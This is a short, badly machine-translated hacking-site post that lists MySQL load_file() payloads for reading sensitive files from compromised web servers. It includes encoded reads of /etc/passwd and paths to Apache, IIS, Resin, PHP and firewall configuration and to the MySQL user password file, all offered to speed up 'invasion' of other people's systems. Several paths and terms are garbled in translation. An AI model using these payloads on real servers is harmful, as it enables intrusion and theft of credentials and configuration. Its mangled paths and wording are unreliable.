You are here: hacking technology > hacker invade > Content
Hot Articles
Recommend Articles
New Articles
when load_file() invasion examines the commonly used sensitive information file
  Add date: 11/03/2008   Publishing date: 11/03/2008   Hits: 155
The load_file() function which the following is everybody pours into view of the MYSQL data when uses to its document examination related way, the reasonable use, may speed up your invasion speed. The following is myself invades time collects. If everybody feels above this no way. Please continue in the reply to meet. Shares .BY together: Orphaned fox prodigal son
  1st, replace(load_file(0×2F6574632F706173737764),0×3c,0×20)
  2nd, replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)), char(60), char(32))
  Above two are examined that in a PHP document demonstrates the code completely. Some time does not replace some characters, what if “<” replaces” the blank space” the returns is the homepage. But is unable to examine the code.
  3rd, load_file(char(47)) may list the FreeBSD, Sunos system root directory
  4th, /etc tpd/conf tpd.conf or /usr/local/apche/conf tpd.conf examine linux the APACHE hypothesized main engine configuration files
  5th, c:\Program Files\Apache Group \ Apache \ conf \ httpd.conf or C:\apache\conf \ httpd.conf examines WINDOWS the system apache document
  6th, c:/Resin- 3.0.14/conf/resin.conf   Examines jsp the development the website resin document disposition information.
  7th, c:/Resin/conf/resin.conf      /usr/local/resin/conf/resin.conf examines linux the system disposition the JSP hypothesized main engine
  8th, d:\APACHE\Apache2\conf\httpd.conf
  9th, C:\Program Files\mysql\my.ini
  10th. /themes/darkblue_orange/layout.inc.php phpmyadmin explodes the way
  11th, c:\windows\system32\inetsrv\MetaBase.xml examines IIS the hypothesized main engine configuration files
  12th, /usr/local/resin-3.0.22/conf/resin.conf in view of 3.0.22 RESIN configuration files examination
  13th, /usr/local/resin-pro-3.0.22/conf/resin.conf with on
  14th, /usr/local/app/apache2/conf/extra tpd-vhosts.conf APASHE hypothesized main engine examination
  15th, /etc/sysconfig/iptables book looks at the firewall strategy
  16th, usr/local/app/php5 b/php.ini PHP relative establishment
  17th, /etc/my.cnf MYSQL configuration files
  18th, /etc/redhat-release   Red cap's system edition
  19th, C:\mysql\data\mysql\user.MYD has in the MYSQL system's user password
  20th, /etc/sysconfig/network-scripts/ifcfg-eth0 examines IP.
  21st, /usr/local/app/php5 the b/php.ini //PHP is related establishes
  22nd, /usr/local/app/apache2/conf/extra tpd-vhosts.conf // hypothesized website establishment
  23rd, c:\Program Files\RhinoSoft.com\Serv - U \ ServUDaemon.ini
  24th, c:\windows\my.ini

Prev:MS08-067 introduces the & use method Next:Teaches you to avoid the IE browser crack being far away from the hacker attack

Comment:

Category: Home > hacker invade